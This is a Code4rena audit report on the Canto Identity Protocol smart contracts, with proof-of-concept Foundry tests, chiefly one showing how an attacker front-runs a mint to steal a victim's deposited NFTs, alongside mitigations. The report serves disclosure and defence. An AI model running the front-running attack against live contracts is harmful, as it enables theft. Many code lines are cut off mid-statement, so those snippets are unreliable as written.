Canto Identity Protocol contest Findings & Analysis Report

2023-04-06

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Canto Identity Protocol smart contract system written in Solidity. The audit contest took place between January 31—February 3 2023.

Wardens

39 Wardens contributed reports to the Canto Identity Protocol contest:

1. 0xAgro
2. 0xSmartContract
3. 0xackermann
4. Aymen0909
5. DevABDee
6. Dravee
7. HardlyDifficult
8. JC
9. Matin
10. MiniGlome
11. NoamYakov
12. ReyAdmirado
13. Rolezn
14. Ruhum
15. SleepingBugs (Deivitto and 0xLovesleep)
16. adriro
17. brevis
18. btk
19. c3phas
20. chaduke
21. csanuragjain
22. d3e4
23. descharre

24. enckrish
25. glcanvas
26. gzeon
27. hihen
28. horsefacts
29. joestakey
30. libratus
31. merlin
32. nicobevi
33. popular00
34. rotcivegaf
35. shark
36. shenwilly
37. sorrynotsorry
38. wait

This contest was judged by berndartmueller.

Final report assembled by liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 5 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 23 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 15 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Canto Identity Protocol contest repository, and is composed of 3 smart contracts written in the Solidity programming language and includes 320 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Attacker can frontrun a victim's `mint` + `add` transaction to steal NFT

Submitted by popular00, *also found by* gzeon

CidNFT.sol#L147
CidNFT.sol#L165
CidNFT.sol#L237

High - an attacker can steal deposited NFTs from victims using the `mint()` + `add()` functionality in `CidNFT.sol`

Proof of Concept

One of the core features of CID Protocol is the ability for users to attach Subprotocol NFTs to their `CidNFT`. The `CidNFT` contract custodies these attached NFTs, and they are regarded as “traits” of the user.

The protocol currently includes functionality for a user to mint a `CidNFT` as their identity and then optionally add a subprotocol NFT to that `CidNFT` in the same transaction. This occurs in the `mint()` function of `CidNFT.sol`, which takes a byte array of `add()` parameters and includes a loop where `add()` can be repeatedly called with these parameters to attach subprotocol NFTs to the `CidNFT`.

```
function mint(bytes[] calldata _addList) external {
    _mint(msg.sender, ++numMinted);
    bytes4 addSelector = this.add.selector;
    for (uint256 i = 0; i < _addList.length; ++i) {
        (bool success /*bytes memory result*/, ) = address(this)
            .delegatecall(abi.encodePacked(addSelector, _addList
        if (!success) revert AddCallAfterMintingFailed(i);
    }
}
```

One of the arguments for `add()` is the `_cidNFTID` to which the user would like to attach their outside NFT. However, `_cidNFTID` is specified in calldata to `mint()`, and there is no guarantee that the user is actually `add()`ing to the `CidNFT` that they just minted. There is only a check in `add()` that the user is either the owner or approved for that `CidNFT`.

```
function add(
        uint256 _cidNFTID, // No guarantee that this is the CidN
        string calldata _subprotocolName,
        uint256 _key,
        uint256 _nftIDToAdd,
        AssociationType _type
    ) external {
    ..............
    if (
        cidNFTOwner != msg.sender &&
        getApproved[_cidNFTID] != msg.sender &&
        !isApprovedForAll[cidNFTOwner][msg.sender]
    ) revert NotAuthorizedForCIDNFT(msg.sender, _cidNFTID, cidNF
```

```
        ..............
    }
```

This opens up the following attack:

1. Victim sends a transaction expecting to mint `CidNFT #100`, and includes calldata to `add()` their SubprotocolNFT to the token in the same tx
2. Attacker frontruns this transaction with a `mint()` with no `add()` parameters, receives `CidNFT #100`, and sets the victim as approved for that token
3. The victim's transaction begins execution, and they instead receive token #101, though their `add()` calldata still specifies token #100
4. The victim's `add()` call continues, and their SubprotocolNFT is registered to `CidNFT #100` and transferred to the `CidNFT` contract
5. The attacker can then either revoke approval to the victim for `CidNFT #100` or immediately call `remove()` to transfer the victim's SubprotocolNFT to themselves

Below is a forge test executing this attack. This should run if dropped into `CidNFT.t.sol`.

```
    function testMaliciousMint() public {
        uint256 cidTokenId = cidNFT.numMinted() + 1;
        (uint256 subTokenId1, uint256 subTokenId2) = (1, 2);
        (uint256 key1, uint256 key2) = (1, 2);

        // user1 == attacker
        // user2 == victim
        // Frontrun the victim's mint by minting the cidNFT token th
        vm.startPrank(user1);
        cidNFT.mint(new bytes[](0));

        // Set the victim (user2) as approved for the token user1 ju
        cidNFT.setApprovalForAll(user2, true);
        vm.stopPrank();

        // Mint user2 the subtokens that user1 wants to steal, appro
        // for the subtokens, and prepare the addlist with the incor
        vm.startPrank(user2);
        sub1.mint(user2, subTokenId1);
```

```
sub1.mint(user2, subTokenId2);
sub1.setApprovalForAll(address(cidNFT), true);

bytes[] memory addList = new bytes[](2);
addList[0] = abi.encode(
    cidTokenId,
    "sub1",
    key1,
    subTokenId1,
    CidNFT.AssociationType.ORDERED
);
addList[1] = abi.encode(
    cidTokenId,
    "sub1",
    key2,
    subTokenId2,
    CidNFT.AssociationType.ORDERED
);

// Mint user2 a new CidNFT and attach the subtokens to user1
cidNFT.mint(addList);
vm.stopPrank();

// Confirm that user1's CidNFT has the subtokens and can tra
vm.startPrank(user1);
cidNFT.remove(
    cidTokenId,
    "sub1",
    key1,
    subTokenId1,
    CidNFT.AssociationType.ORDERED
);
cidNFT.remove(
    cidTokenId,
    "sub1",
    key2,
    subTokenId2,
    CidNFT.AssociationType.ORDERED
);
vm.stopPrank();

// Confirm that user1 now holds the subtokens
assertEq(cidNFT.ownerOf(cidTokenId), user1);
assertEq(cidNFT.ownerOf(cidTokenId + 1), user2);
assertEq(sub1.ownerOf(subTokenId1), user1);
assertEq(sub1.ownerOf(subTokenId2), user1);
```

```
}
## Tools Used
Manual review

## Recommended Mitigation Steps
- Enforce that the user can only `add()` to the CidNFT that they
```

[OpenCoreCH (Canto Identity) confirmed and commented]():

> Great finding, will be fixed.

Medium Risk Findings (4)

[M-01] Adding NFTS with AssociationType ORDERED or PRIMARY may cause overwriting

Submitted by [hihen]()

Note: Prior to this audit, a group of wardens added test coverage. While auditing was not the purpose of the testing phase, relevant and valuable findings reported during that timeframe were eligible to be judged. As such, this finding [M-01] was discovered during the "testing squad" phase and is being included here for completeness.

Subprotocol NFTs may be trapped in contract CidNFT forever.

Proof of Concept

When adding NFT to CidNFT with AssociationType ORDERED or PRIMARY, the cidData is written directly, without checking and handling the case that a previously added nft may not have been removed:

```
if (_type == AssociationType.ORDERED) {
    if (!subprotocolData.ordered) revert AssociationTypeNotSuppo
    cidData[_cidNFTID][_subprotocolName].ordered[_key] = _nftID1
    emit OrderedDataAdded(_cidNFTID, _subprotocolName, _key, _nf
} else if (_type == AssociationType.PRIMARY) {
    if (!subprotocolData.primary) revert AssociationTypeNotSuppo
```

```
        cidData[_cidNFTID][_subprotocolName].primary = _nftIDToAdd;
        emit PrimaryDataAdded(_cidNFTID, _subprotocolName, _nftIDToA
    ...
```

For `AssociationType.ORDERED`:
If `(key1, subNft1)` and `(key1, subNft2)` were added consecutively, `subNft1` would be trapped in the contract forever, because `subNft1` stored in `cidData` was overwritten by `subNft2`, and only `subNft2` can be retrieved through `CidNFT.remove()`.

For `AssociationType.PRIMARY`:
If `subNft1` and `subNft2` were added consecutively, `subNft1` would be trapped in the contract forever, because `subNft1` stored in `cidData` was overwritten by `subNft2`, and only `subNft2` can be retrieved through `CidNFT.remove()`.

Test code for PoC:

```
diff --git a/src/test/CidNFT.t.sol b/src/test/CidNFT.t.sol
index 8a6a87a..45d91bd 100644
--- a/src/test/CidNFT.t.sol
+++ b/src/test/CidNFT.t.sol
@@ -67,6 +67,81 @@ contract CidNFTTest is DSTest, ERC721TokenRec
         vm.stopPrank();
     }

+    function testTrappedByAddingOrdered() public {
+        address user = user2;
+        vm.startPrank(user);
+
+        // mint two nft for user
+        (uint256 nft1, uint256 nft2) = (101, 102);
+        sub1.mint(user, nft1);
+        sub1.mint(user, nft2);
+        sub1.setApprovalForAll(address(cidNFT), true);
+        // mint CidNFT
+        uint256 cid = cidNFT.numMinted() + 1;
+        cidNFT.mint(new bytes[](0));
+        uint256 key = 111;
+
+        // add nft1 to CidNFT a key
+        cidNFT.add(cid, "sub1", key, nft1, CidNFT.AssociationTy
```

```
+        // add nft2 to CidNFT with the same key
+        cidNFT.add(cid, "sub1", key, nft2, CidNFT.AssociationTy
+
+        // confirm: both nft1 and nft2 have been transferred to
+        assertEq(sub1.ownerOf(nft1), address(cidNFT));
+        assertEq(sub1.ownerOf(nft2), address(cidNFT));
+
+        // the first remove will success
+        cidNFT.remove(cid, "sub1", key, nft1, CidNFT.Associatio
+        // nft2 has been transferred back to the user
+        assertEq(sub1.ownerOf(nft2), user);
+
+        // the second remove will fail for OrderedValueNotSet
+        vm.expectRevert(abi.encodeWithSelector(CidNFT.OrderedVa
+        cidNFT.remove(cid, "sub1", key, nft1, CidNFT.Associatio
+        // nft1 is trapped in CidNFT forever
+        assertEq(sub1.ownerOf(nft1), address(cidNFT));
+
+        vm.stopPrank();
+    }
+
+    function testTrappedByAddingPrimary() public {
+        address user = user2;
+        vm.startPrank(user);
+
+        // mint two nft for user
+        (uint256 nft1, uint256 nft2) = (101, 102);
+        sub1.mint(user, nft1);
+        sub1.mint(user, nft2);
+        sub1.setApprovalForAll(address(cidNFT), true);
+        // mint CidNFT
+        uint256 cid = cidNFT.numMinted() + 1;
+        cidNFT.mint(new bytes[](0));
+        // key is useless when adding PRIMARY type
+        uint256 key = 111;
+
+        // add nft1 to CidNFT
+        cidNFT.add(cid, "sub1", key, nft1, CidNFT.AssociationTy
+        // add nft2 to CidNFT
+        cidNFT.add(cid, "sub1", key, nft2, CidNFT.AssociationTy
+
+        // confirm: both nft1 and nft2 have been transferred to
+        assertEq(sub1.ownerOf(nft1), address(cidNFT));
+        assertEq(sub1.ownerOf(nft2), address(cidNFT));
+
+        // the first remove will success
```

```
+         cidNFT.remove(cid, "sub1", key, nft1, CidNFT.Associatic
+         // nft2 has been transferred back to the user
+         assertEq(sub1.ownerOf(nft2), user);
+
+         // the second remove will fail for PrimaryValueNotSet
+         vm.expectRevert(abi.encodeWithSelector(CidNFT.PrimaryVa
+         cidNFT.remove(cid, "sub1", key, nft1, CidNFT.Associatic
+         // nft1 is trapped in CidNFT forever
+         assertEq(sub1.ownerOf(nft1), address(cidNFT));
+
+         vm.stopPrank();
+     }
+
      function testAddID0() public {
          // Should revert if trying to add NFT ID 0
          vm.expectRevert(abi.encodeWithSelector(CidNFT.NotAuthor
```

Tools Used

VS Code

Recommended Mitigation Steps

Should revert the tx if an overwriting is found in CidNFT.add():

```
diff --git a/src/CidNFT.sol b/src/CidNFT.sol
index b6c88de..c389971 100644
--- a/src/CidNFT.sol
+++ b/src/CidNFT.sol
@@ -101,6 +101,8 @@ contract CidNFT is ERC721, ERC721TokenReceiv
      error AssociationTypeNotSupportedForSubprotocol(Associatior
      error NotAuthorizedForCIDNFT(address caller, uint256 cidNFT
      error NotAuthorizedForSubprotocolNFT(address caller, uint25
+     error OrderedKeyIsSetAlready(uint256 cidNFTID, string subpr
+     error PrimaryIsSetAlready(uint256 cidNFTID, string subproto
      error ActiveArrayAlreadyContainsID(uint256 cidNFTID, string
      error OrderedValueNotSet(uint256 cidNFTID, string subprotoc
      error PrimaryValueNotSet(uint256 cidNFTID, string subprotoc
@@ -191,10 +193,16 @@ contract CidNFT is ERC721, ERC721TokenRece
          }
          if (_type == AssociationType.ORDERED) {
              if (!subprotocolData.ordered) revert AssociationTyp
+             if (cidData[_cidNFTID][_subprotocolName].ordered[_k
+                 revert OrderedKeyIsSetAlready(_cidNFTID, _subpr
```

```
+               }
                cidData[_cidNFTID][_subprotocolName].ordered[_key]
                emit OrderedDataAdded(_cidNFTID, _subprotocolName,
            } else if (_type == AssociationType.PRIMARY) {
                if (!subprotocolData.primary) revert AssociationTyp
+               if (cidData[_cidNFTID][_subprotocolName].primary !=
+                   revert PrimaryIsSetAlready(_cidNFTID, _subproto
+               }
                cidData[_cidNFTID][_subprotocolName].primary = _nft
                emit PrimaryDataAdded(_cidNFTID, _subprotocolName,
            } else if (_type == AssociationType.ACTIVE) {
```

OpenCoreCH (Canto Identity) confirmed

[M-02] Multiple accounts can have the same identity

Submitted by joestakey, *also found by* MiniGlome, adriro, libratus, shenwilly, glcanvas, wait, csanuragjain, Ruhum, hihen, *and* chaduke

AddressRegistry.sol#L47

Users can register their on-chain identity (ie their CID NFT) by calling `AddressRegistry.register()`

```
File: src/AddressRegistry.sol
42:     function register(uint256 _cidNFTID) external {
43:         if (ERC721(cidNFT).ownerOf(_cidNFTID) != msg.sender)
44:             // We only guarantee that a CID NFT is owned by
45:             // ownerOf reverts if non-existing ID is provide
46:             revert NFTNotOwnedByUser(_cidNFTID, msg.sender);
47:         cidNFTs[msg.sender] = _cidNFTID;
48:         emit CIDNFTAdded(msg.sender, _cidNFTID);
49:     }
```

This overwrites `cidNFTs[msg.sender]` with the `cidNFTID` provided by the caller.

The issue is that there is nothing preventing several (2 or more) accounts to point to the same `cidNFTID`, ie have `cidNFTs[userA] == cidNFTs[userB]`

Note: the README mentioned that

```
Transferring CID NFTs that are still referenced in the address r
```

The issue described in this report is not that the CID NFT is transferrable, but that several accounts can point to the same CIDNFT id, which lead to several problems outlined below.

Impact

Quoting the README:

```
Canto Identity NFTs (CID NFTs) represent individual on-chain ide
```

Here, several accounts can point to the same on-chain identity, breaking the requirement that the said identity should be **individual**.

To illustrate the consequences of this, let us look at `CidNFT.add()`, which adds a new entry for the given subprotocol to the provided CID NFT:

- data is added by transferring a subprotocol NFT to the contract, which will write the NFT id in `cidData[_cidNFTID][_subprotocolName]`
- This NFT id represents traits that will be associated with the identity.

Because of the issue outlined above, the identity system can be abused:

- Alice registers her CIDNft by calling `addressRegistry.register(N)`
- she transfers it to Bob, who then proceeds to call `addressRegistry.register(N)` to register it.
- at this point, `cidNFT` of id `N` points to both Alice and Bob: `addressRegistry.getCID(Alice) == addressRegistry.getCID(Bob)`
- Bob calls `CidNFT.add()` to add a subProtocol NFT X to his identity `N`. Because Alice is also associated to the `CIDNFT N`, she essentially added this trait for free (assuming subprotocols will monetize their tokens, Bob had to pay the cost of the subProtocol NFT X, but Alice did not).

- This can also have further consequences depending on what can be done with these traits (e.g: a protocol giving rewards for users with a trait of the subProtocol NFT X, Bob could be front run by Alice and not receive a reward he was entitled to)

Overall, because this issue impacts a key aspect of the protocol (identities are not individual) and can lead to a form of `theft` in certain conditions (in the scenario above, Alice got a trait added to her identity for "free"), the Medium severity seems appropriate.

Proof Of Concept

This test shows how two users can point to the same `CID`.

Add it to `AddressRegistry.t.sol`

```
    function testTwoUsersSameCID() public {
        uint256 nftIdOne = 1;
        address Alice = users[0];
        address Bob = users[1];

        // 1 - Alice mints NFT
        vm.startPrank(Alice);
        bytes[] memory addList;
        cidNFT.mint(addList);
        assertEq(cidNFT.ownerOf(nftIdOne), Alice);

        // 2 - Alice registers the NFT
        addressRegistry.register(nftIdOne);

        // 3 - Alice transfers the CID NFT to Bob
        cidNFT.transferFrom(Alice, Bob, nftIdOne);
        vm.stopPrank();

        // 4 - Bob registers the nft
        vm.startPrank(Bob);
        addressRegistry.register(nftIdOne);

        // 5 - Alice and Bob have the same identity
        uint256 cidAlice = addressRegistry.getCID(Alice);
        uint256 cidBob = addressRegistry.getCID(Bob);
        assertEq(cidAlice, cidBob);
    }
```

Tools Used

Manual Analysis, Foundry

Mitigation

`AddressRegistry` should have an additional mapping to track the account associated with a given `cifNTFID`.

```
File: src/AddressRegistry.sol
20:     /// @notice Stores the mappings of users to their CID NF
21:     mapping(address => uint256) private cidNFTs;
+       mapping(uint256 => address) private accounts;
```

When registering, the code would check if the `cidNFTID` has an account associated with it. If that is the case, `cidNFTs` for this user would be set to 0, preventing several users from having the same identity.

```
File: src/AddressRegistry.sol
42: function register(uint256 _cidNFTID) external {
43:         if (ERC721(cidNFT).ownerOf(_cidNFTID) != msg.sender)
44:             // We only guarantee that a CID NFT is owned by
45:             // ownerOf reverts if non-existing ID is provide
46:             revert NFTNotOwnedByUser(_cidNFTID, msg.sender);
+           if (accounts[_cidNFTID] != address(0)) {
+                 delete cidNFTs[accounts[_cidNFTID]];
+                 emit CIDNFTRemoved(accounts[_cidNFTID], _cidNF
+}
47:         cidNFTs[msg.sender] = _cidNFTID;
+           accounts[_cidNFTID] = msg.sender;
48:         emit CIDNFTAdded(msg.sender, _cidNFTID);
49:     }
```

OpenCoreCH (Canto Identity) confirmed and commented:

> I first thought that this is intended behaviour because the same identity/person can have multiple wallets. But after seeing the examples in the findings and discussing this internally, it will be changed such that registrations are removed on transfer.

[M-03] Griefing risk in `mint`

Submitted by shenwilly*, also found by* gzeon

CidNFT.sol#L147-L157
CidNFT.sol#L177-L182

`CidNFT.mint()` has an optional parameter `_addList` that enables users to register subprotocol NFTs to the CID NFT right after the mint.

However, there is no guarantee that the `_cidNFTID` encoded in `_addList` is the same ID as the newly minted NFT. If there is a pending mint transaction and another user frontrun the mint transaction with higher fee, the previous transaction will revert as the `_cidNFTID` is no longer the expected ID.

CidNFT.sol#L177-L182

```
    address cidNFTOwner = ownerOf[_cidNFTID];
    if (
        cidNFTOwner != msg.sender &&
        getApproved[_cidNFTID] != msg.sender &&
        !isApprovedForAll[cidNFTOwner][msg.sender]
    ) revert NotAuthorizedForCIDNFT(msg.sender, _cidNFTID, cidNFTOwr
```

A malicious actor can grief this by frontrunning users that try to mint with non-zero `_addList`, causing their mint transaction to fail.

In absence of malicious actor, it is also possible for this issue to happen randomly during busy period where a lot of users are trying to mint at the same time.

Proof of Concept

- The next CidNFT mint ID is `1000`.
- Alice wants to mint and prepares `_addList` with the expected `_cidNFTID` of `1000`.

- Bob saw Alice's transaction and frontran her, incrementing the next minting ID to `1001`.
- Alice's transaction tries to add subprotocol NFTs to ID `1000` which is owned by Bob. This causes the transaction to revert.

Recommended Mitigation Steps

Modify `mint` so that the minted ID is the one used during the `add` loop, ensuring that `mint` will always succeed.

berndartmueller (judge) commented:

> Although this submission and H-01 both share a common root cause of frontrunning mints and colliding CidNFT ids in the `CidNFT.add` function, it is essential to note that the impact of each issue is significantly different and therefore warrant to be kept separate.

OpenCoreCH (Canto Identity) confirmed

[M-04] `CidNFT`: Broken `tokenURI` function

Submitted by horsefacts

`CidNFT#tokenURI` does not convert the `uint256 _id` argument to a string before interpolating it in the token URI:

```
    /// @notice Get the token URI for the provided ID
    /// @param _id ID to retrieve the URI for
    /// @return tokenURI The URI of the queried token (path to a
    function tokenURI(uint256 _id) public view override returns
        if (ownerOf[_id] == address(0))
            // According to ERC721, this revert for non-existing
            revert TokenNotMinted(_id);
        return string(abi.encodePacked(baseURI, _id, ".json"));
    }
```

This means the raw bytes of the 32-byte ABI encoded integer `_id` will be interpolated into the token URI, e.g. `0x0000000000000000000000000000000000000000000000000000000000000001` for ID `#1`.

Most of the resulting UTF-8 strings will be malformed, incorrect, or invalid URIs. For example, token ID `#1` will show up as the invisible "start of heading" control character, and ID `#42` will show as the asterisk symbol `*`. URI-unsafe characters will break the token URIs altogether.

Impact

- `CidNFT` tokens will have invalid `tokenURI`s. Offchain tools that read the `tokenURI` view may break or display malformed data.

Suggestion

Convert the `_id` to a string before calling `abi.encodePacked`. Latest Solmate includes a `LibString` helper library for this purpose:

```
import "solmate/utils/LibString.sol";

/// @notice Get the token URI for the provided ID
/// @param _id ID to retrieve the URI for
/// @return tokenURI The URI of the queried token (path to a
function tokenURI(uint256 _id) public view override returns
    if (ownerOf[_id] == address(0))
        // According to ERC721, this revert for non-existing
        revert TokenNotMinted(_id);
    return string(abi.encodePacked(baseURI, LibString.toStri
}
```

Test case

```
function test_InvalidTokenURI() public {
    uint256 id1 = cidNFT.numMinted() + 1;
    uint256 id2 = cidNFT.numMinted() + 2;
    // mint id1
    cidNFT.mint(new bytes[](0));
```

```
        // mint id2
        cidNFT.mint(new bytes[](0));

        // These pass — the raw bytes '0000000000000000000000000(
        assertEq(string(bytes(hex"7462643a2f2f626173655f7572692f
        assertEq(string(bytes(hex"7462643a2f2f626173655f7572692f

        // These fail - the generated string on the right is not
        assertEq("tbd://base_uri/1.json", cidNFT.tokenURI(id1));
        assertEq("tbd://base_uri/2.json", cidNFT.tokenURI(id2));
    }
```

OpenCoreCH (Canto Identity) confirmed and commented:

> Great catch!

Low Risk and Non-Critical Issues

For this contest, 23 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **HardlyDifficult** received the top score from the judge.

The following wardens also submitted reports: d3e4, JC, libratus, joestakey, adriro, Aymen0909, enckrish, 0xAgro, sorrynotsorry, SleepingBugs, merlin, DevABDee, Matin, shark, 0xSmartContract, rotcivegaf, Rolezn, brevis, btk, nicobevi, hihen, *and* chaduke.

[L-01] Consider allowing the subprotocol owner to be transferred

Once a subprotocol has been registered in the `SubprotocolRegistry` there is no way to update any of the values. The `SubprotocolData.owner` is the fee recipient leveraged as the fee recipient in `CidNFT.add` - which means it may continue to collect fees overtime.

Since subprotocols are created by more than just the inner dev team, it may be more likely that the wallet becomes compromised or the subprotocol team desires switching to a multisig address in the future.

You could allow transferring the `owner` to another address, potentially with a 2-step process. This would not negatively impact use of the subprotocol, nor change the associated gas costs.

Similarly, consider allowing other fields to be updated. For example, maybe the subprotocol owner can lower the `fee` at any point but not increase it.

[L-02] Consider allowing fee wallet transfers

`cidFeeWallet` in `SubprotocolRegistry` and `CidNFT` are currently immutable addresses. Allowing the fee recipient to be updated may be appropriate for future proofing such as to allow moving the fee recipient under DAO control, or similar change.

You could allow transferring to another address, potentially with a 2-step process. However this would increase gas costs as immutable could no longer be used.

An alternative which preserves the current gas efficiency, is to use a simple contract as the wallet which escrows funds that can be withdrawn by its owner, which potentially uses the OZ Ownable2Step mixin. The owner could be an EOA at first, and as the system matures it could be changed to a multisig or a DAO in the future.

[L-03] Consider a mutable baseURI

`baseURI` is assigned in the constructor with no way of updating it in the future. The approach used by `tokenURI` prevents using IPFS since that would require knowing all potential tokenIds in advance. It may work with Arweave's append only file system, but the intended baseURI protocol is not clear from the docs or tests.

If these are to be hosted on a custom domain, it may be even more important that the `baseURI` is mutable, allowing it to be transitioned to a new store if that domain were to become unavailable (such as due to a security incident, trademark issue, or the host otherwise becoming unavailable in the future).

Alt: clarify in the docs the intended `baseURI`, to make it clear how permanence is guaranteed if that's part of the current launch plan.

[L-04] Consider requiring strings `.length != 0`

Several strings in the system are assigned once, without the ability to change it later on. Consider requiring that these are non-zero length to help ensure these have been assigned as expected.

- SubprotocolRegistry.register accepts a `_name` parameter of any length. Although only one entry could be registered with an empty name, it may be odd or unexpected to have a subprotocol with an empty string.
- CidNFT.costructor accepts a `_baseURI` parameter of any length which is then immutable. If this were not assigned then `tokenURI` would not work as expected.
- `name` and `symbol` in `CidNFT.constructor` are allowed to be empty in the solmate constructor, may consider adding 0 length checks for these as well.

[L-05] Consider `isContract` checks in constructors

Several addresses are assigned in the contract constructors and assigned to immutable variables. A successful deployment is sensitive to these addresses being assigned correctly for the current network, and that addresses were specified in the correct order. Consider adding checks, as aggressively as possible for the use case, to help ensure the deployment configuration is correct.

- `AddressRegistry.constructor` consider requiring that `_cidNFT.isContract()`.
- `SubprotocolRegistry.constructor` and `CidNFT.constructor` consider requiring that `_noteContract.isContract()`.
- `CidNFT.constructor` consider requiring that `_subprotocolRegistry.isContract()`.

`.isContract()` is referring to the OZ Address library or similar implementation.

This is related to the automated finding `[NC-1] Missing checks for address(0) when assigning values to address state variables` but suggests a more aggressive check.

[L-06] getActiveData could exceed gas limits

There's no upper bound on the size of the array which is being **returned in** `CidNFT.getActiveData`. For both contract consumers and RPC requests, eventually a gas limit would be reached. Different RPC providers have different limits applied to view calls such as this.

Consider supporting a paginated variation where callers can request a subset of the full array when appropriate, as well as potentially a getter to get the length of the array.

[N-01] Simplify code

There is an if/else block in `CidNFT.add` for the `ACTIVE` type which could be simplified. Consider **changing this block of code** into:

```
// Check for duplicates
if (lengthBeforeAddition != 0 && activeData.positions[_nftIDToAc
    revert ActiveArrayAlreadyContainsID(_cidNFTID, _subprotocolN
}
activeData.values.push(_nftIDToAdd);
activeData.positions[_nftIDToAdd] = lengthBeforeAddition + 1;
```

This is easier to read and functionally the same.

[N-02] Custom Error Params

Consider emitting the current owner in `AddressRegistry.NFTNotOwnedByUser`. `msg.sender` is included but that may already be clear from context. Including the owner could be a useful addition, e.g. allowing a user to quickly realize that the NFT is in another wallet of theirs.

[N-03] Emit from/to

Consider emitting the original CID in `AddressRegistry.CIDNFTAdded` for when a user overwrites a prior registration. This may add a little gas overhead, but it should be minor since the slot is warm by setting the value here as well.

This is similar to ERC-173 (the ownership standard) which emits both the previous and new owner on transfer. Including both CIDs would make any overwrites more explicit for the user and any observing apps. When there is no previous CID, that param would emit 0 (similar to previous owner emitted as address(0) when first assigned).

Alternatively you could emit `CIDNFTRemoved` when there is a CID being overwritten. This approach would still offer the explicitness, but also be consistent with the `remove` flow, as if the user had made that call before the new `register` call.

[N-04] Consistent param ordering

Consider switching the param order in the `SubprotocolRegistered` event or the `register` function so that they are more consistent with each other. e.g. in the function, the order/active/primary bits come first while in the event they appear after the `_nftAddress`.

A possible improvement:

```
function register(
    string calldata _name,
    address _nftAddress,
    bool _ordered,
    bool _primary,
    bool _active,
    uint96 _fee
) external
```

The consistency improves readability, both for the code and for users reviewing transactions & events in a block explorer.

[N-05] Inconsistent used of named return params

Personally I prefer named return params, but it is a style preference. However in a project, it's nice to be consistent throughout with whichever style you prefer.

- `SubprotocolRegister.getSubprotocol` does not name the return value while `AddressRegistry.getCID` does, even though they are very similar functions.

- `CidNFT.tokenURI` and `CidNFT.onERC721Received` do not use named return params while all the other getters in this contract do.

[N-06] Use delete consistently

Consider using `delete` instead of `= 0;` in `CidNFT.remove` similar to how delete is used here even though it is also just a `uint` being cleared. Other parts of the code also seem to use `delete` for similar cases.

[N-07] Spellcheck

- existant -> existent
- subprotocl -> subprotocol and here

Consider using the VSCode plugin `streetsidesoftware.code-spell-checker` or similar to help catch spelling errors during development.

berndartmueller (judge) commented:

> Great report! It is worth noting that the warden's effort went beyond automated and generic findings to consider the context of the protocol.

> I agree with all of the warden's findings. Thank you for your efforts!

Gas Optimizations

For this contest, 15 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **HardlyDifficult** received the top score from the judge.

The following wardens also submitted reports: NoamYakov, MiniGlome, joestakey, c3phas, Aymen0909, Dravee, 0xAgro, Matin, 0xSmartContract, Rolezn, descharre, Ruhum, 0xackermann, *and* ReyAdmirado.

[G-01] Move checks to the top

Checks, effects, interactions is a general best practice and can be applicable to more than just reentrancy concerns. When one of the following error scenarios applies, users pay gas for all statements executed up until the revert itself. By performing checks such as these as early as possible, you are saving users gas in failure scenarios without any sacrifice to the happy case costs.

Moving the requirements to the top of the function can also improve readability.

Consider moving these checks to the top of the `register` function in `SubprotocolRegistry`:

- `if (!(_ordered || _primary || _active)) revert NoTypeSpecified(_name);`
- `if (!ERC721(_nftAddress).supportsInterface(type(CidSubprotocolNFT).interfaceId))`

And potentially moving `SafeTransferLib.safeTransferFrom(note, msg.sender, cidFeeWallet, REGISTER_FEE);` below the check `if (subprotocolData.owner != address(0))`

In `CidNFT` consider moving the check `if (_nftIDToAdd == 0) revert NFTIDZeroDisallowedForSubprotocols();` to the top of the function.

[G-02] Revert on no-op

Unfortunately it can be common for users to accidentally fire the same transaction multiple times. This can result from an unclear app experience, or users misunderstanding speed up / replace transaction. When this occurs the duplicate transaction should be a no-op, ideally reverting as early as possible to limit gas costs. Reverting in the case of a duplicate may also prevent the redundant transaction from being broadcasted at all since apps and wallets typically estimate gas before broadcasting and that would show that it's expected to revert if the original has already been mined.

In `register` consider reverting if the provided `_cidNFTID` is already registered by that user.

This is similar to the pattern already used in `remove`, which reverts with `NoCIDNFTRegisteredForUser` when the call would otherwise be a no-op (and this is not strictly necessary).

[G-03] Remove helpers

This block of code is redundant when passing from `add -> remove` which includes an external call to the `SubprotocolRegistry`. By moving the rest of the remove function into a private helper that's called by both `add` and `remove` you could save an extra call and therefor some gas in those scenarios, without complicating the code much.

This is related to the known gas optimization issue, but covers a redundant external call as well as the redundant sloads for approval checking.

Additionally you could use more targeted helpers. As a POC, here's the impact from extracting a `_removeOrdered` helper:

```
original:
[PASS] testOverwritingOrdered() (gas: 281662)

new:
[PASS] testOverwritingOrdered() (gas: 277991)

Savings: 3,671
```

Using the following helper which is called in `add` instead of the `remove` currently there. And this helper can be shared with `remove` so that the logic is not repeated in the contract.

```
function _removeOrdered(
    ERC721 nftToRemove,
    uint256 _cidNFTID,
    string calldata _subprotocolName,
    uint256 _key,
    uint256 _nftIDToRemove
) internal {
    delete cidData[_cidNFTID][_subprotocolName].ordered[_key];
```

```
        nftToRemove.safeTransferFrom(address(this), msg.sender, _nft
        emit OrderedDataRemoved(_cidNFTID, _subprotocolName, _key, _
    }
```

[G-04] Storage

Consider a storage reference in `SubprotocolRegistry` for `SubprotocolData memory subprotocolData`. This would be cheaper in the case of `SubprotocolAlreadyExists` since that only accesses one of the two slots. And does not negatively impact the happy case.

It may be considered cleaner syntax since `subprotocols[_name] = subprotocolData;` may then be removed, but that is subjective.

[G-05] Unchecked when clearly safe to do so

Using `unchecked` blocks saves just a tiny bit of gas, but in instances where its clearly safe already it's possible to avoid this unnecessary check.

